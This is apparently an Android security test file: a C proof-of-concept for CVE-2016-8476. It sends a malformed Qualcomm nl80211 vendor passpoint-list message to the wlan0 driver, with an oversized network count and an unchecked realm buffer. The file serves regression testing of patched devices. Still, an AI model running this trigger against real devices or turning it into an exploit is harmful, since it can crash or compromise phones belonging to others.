hostsidetests/security/securityPatch/CVE-2016-8476/poc.c

/**
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE
#include <dlfcn.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <jni.h>
#include <android/log.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <sys/types.h>          /* See NOTES */
#include <netlink/msg.h>
#include <netlink/genl/genl.h>
#include <netlink/genl/ctrl.h>
#include <linux/nl80211.h>

#define MAX_MSG_SIZE 1024
#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))

#define KGSL_IOC_TYPE 0x09

struct kgsl_perfcounter_query_compat {
  unsigned int groupid;
  unsigned int countables;
  unsigned int count;
  unsigned int max_counters;
  unsigned int __pad[2];
};
struct kgsl_perfcounter_read_group {
  unsigned int groupid;
  unsigned int countable;
  unsigned long long value;
};
#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
  _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)

struct kgsl_perfcounter_read_compat {
  unsigned int reads;
  unsigned int count;
  unsigned int __pad[2];
};

#define CAL_IOCTL_MAGIC 'a'

#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)

#define NL80211_ATTR_MAC 6
#define ETH_ALEN 6

struct nl_sock *nl_sk;
#define NL80211_ATTR_IFINDEX 3
enum wlan_hdd_tm_attr {
  WLAN_HDD_TM_ATTR_INVALID = 0,
  WLAN_HDD_TM_ATTR_CMD = 1,
  WLAN_HDD_TM_ATTR_DATA = 2,
  WLAN_HDD_TM_ATTR_STREAM_ID = 3,
  WLAN_HDD_TM_ATTR_TYPE = 4,
  /* keep last */
  WLAN_HDD_TM_ATTR_AFTER_LAST,
  WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
};

enum wlan_hdd_tm_cmd {
  WLAN_HDD_TM_CMD_WLAN_FTM = 0,
  WLAN_HDD_TM_CMD_WLAN_HB = 1,
};

#define SIR_PASSPOINT_REALM_LEN 256
#define SIR_PASSPOINT_ROAMING_CONSORTIUM_ID_NUM 16
#define SIR_PASSPOINT_PLMN_LEN 3

#define QCA_NL80211_VENDOR_ID 0x001374
#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70
#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM 1
#define QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID 1
#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NETWORK_ARRAY 2
#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ID 3
#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_REALM 4
#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ROAM_CNSRTM_ID 5
#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ROAM_PLMN 6
int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
                  u_int8_t genl_version);
int test(void);
int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
                  u_int8_t genl_version) {
  struct nl_msg *msg;
  int ret = -1;
  unsigned char dst[ETH_ALEN];
  struct nlattr *rret, *rret1, *rret3;
  unsigned char oper_classes[253];
  int i = 0;
  unsigned char data_in[SIR_PASSPOINT_ROAMING_CONSORTIUM_ID_NUM];
  unsigned char hb_params[512];

  struct nl80211_sta_flag_update flags;
  msg = nlmsg_alloc();
  int if_index = if_nametoindex("wlan0");

  genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);

  nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
  nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, QCA_NL80211_VENDOR_ID);
  nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD,
              QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST);

  rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);

  if (!rret) {
    return 1;
  }

  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM, 0XA3D70B);

  rret1 = nla_nest_start(
      msg, QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NETWORK_ARRAY);
  if (!rret1) {
    return 1;
  }

  rret3 = nla_nest_start(
      msg, QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NETWORK_ARRAY);
  if (!rret3) {
    return 1;
  }
  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ID, 0x123);
  nla_put(msg, QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_REALM, 256,
          &oper_classes);
  nla_put(msg, QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ROAM_CNSRTM_ID,
          sizeof(data_in), &data_in);
  nla_put(msg, QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ROAM_PLMN,
          SIR_PASSPOINT_PLMN_LEN, &data_in);

  nla_nest_end(msg, rret3);
  nla_nest_end(msg, rret1);
  nla_nest_end(msg, rret);

  ret = nl_send_auto_complete(nl_sk, msg);

  return 0;
}

#define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
#define AID_NET_RAW 3004 /* can create raw INET sockets */
#define AID_NET_ADMIN 3005

int test() {
  int fd = 0;
  int i = 0;
  int j = 0;
  int ret = 0;
  char *mem;
  int family_id = 0;
  struct audio_cal_basic *acb;
  struct sockaddr_nl saddr;
  int test = 0x1234;
  if (getuid() != 0) {
    return -1;
  }

  gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
  setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);

  setuid(2000);

  nl_sk = nl_socket_alloc();
  ret = genl_connect(nl_sk);
  if (ret != 0) {
    return -1;
  }

  family_id = genl_ctrl_resolve(nl_sk, "nl80211");

#define NL80211_CMD_GET_WIPHY 1
#define NL80211_CMD_SET_STATION 18

  ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
  perror("genl_send_msg 2");
  return 0;
}

int main(int argc, char *argv[]) { return test(); }